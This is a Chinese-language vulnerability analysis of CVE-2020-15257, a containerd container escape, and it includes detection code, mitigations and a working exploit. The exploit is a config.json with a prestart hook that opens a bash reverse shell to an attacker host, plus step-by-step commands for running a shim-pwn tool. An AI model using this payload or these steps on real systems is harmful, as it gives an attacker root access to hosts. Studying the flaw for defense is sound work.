容器逃逸之 CVE-2020-15257 EXP编写
字数 842 2025-08-19 12:42:04
CVE-2020-15257 容器逃逸漏洞分析与利用
漏洞概述
CVE-2020-15257 是一个影响 containerd 的容器逃逸漏洞,当 Docker 使用 --net=host 参数启动容器时,攻击者可以利用该漏洞从容器内部逃逸到宿主机。
漏洞原理
漏洞存在于 containerd -> containerd-shim -> runc 的通信模型中:
- containerd-shim 的接口作为 abstract unix socket 暴露
- 当 Docker 使用
net=host参数启动容器时(与宿主机共享 net namespace) - 容器内部可以访问到这些 unix socket
- 攻击者通过这些 socket 可以控制下游 runc 进程启动新的恶意镜像
漏洞检测
检测方法是通过检查容器内的 /proc/net/unix 文件,查找 containerd-shim 的 socket:
func getShimSockets() ([][]byte, error) {
re, err := regexp.Compile("@/containerd-shim/.*\\.sock")
if err != nil {
return nil, err
}
data, err := ioutil.ReadFile("/proc/net/unix")
matches := re.FindAll(data, -1)
if matches == nil {
return nil, errors.New("Cannot find vulnerable socket")
}
return matches, nil
}
漏洞利用
已有利用思路
- 通过启动新镜像 mount 宿主机文件系统
- 写入宿主机文件如
/etc/crontab完成逃逸
更高效的利用方法
不启动完整容器,而是利用 containerd-shim 的 prestart hook 直接执行命令:
- 构造包含恶意 prestart hook 的 config.json
- 通过 ttrpc 协议与 containerd-shim 通信
- 利用 CreateTask API 触发 prestart hook 执行
关键利用代码:
var configJson = `
{
"ociVersion": "1.0.1-dev",
"process": {
"terminal": true,
"user": {
"uid": 0,
"gid": 0
},
"args": [
"/bin/bash"
],
"env": [
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"HOSTNAME=b6cee9b57f3b",
"TERM=xterm"
],
"cwd": "/"
},
"root": {
"path": "/tmp"
},
"hostname": "b6cee9b57f3b",
"hooks": {
"prestart": [
{
"path": "/bin/bash",
"args": ["bash", "-c", "bash -i >& /dev/tcp/$RHOST$/$RPORT$ 0>&1"],
"env": ["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"]
}
]
},
"linux": {
"resources": {
"devices": [
{
"allow": false,
"access": "rwm"
}
],
"memory": {
"disableOOMKiller": false
},
"cpu": {
"shares": 0
},
"blockIO": {
"weight": 0
}
},
"namespaces": [
{
"type": "mount"
},
{
"type": "network"
},
{
"type": "uts"
},
{
"type": "ipc"
}
]
}
}
`
完整利用步骤
-
在宿主机上启动一个普通容器:
docker run -d -it ubuntu /bin/bash -
启动一个使用 host 网络的容器(漏洞利用环境):
docker run --rm --net=host -it ubuntu /bin/bash -
在容器内执行利用代码:
./cdk_linux_amd64 run shim-pwn <攻击者IP> <监听端口>
防御措施
- 避免使用
--net=host参数启动容器 - 升级 containerd 到修复版本
- 使用 seccomp 和 AppArmor 限制容器权限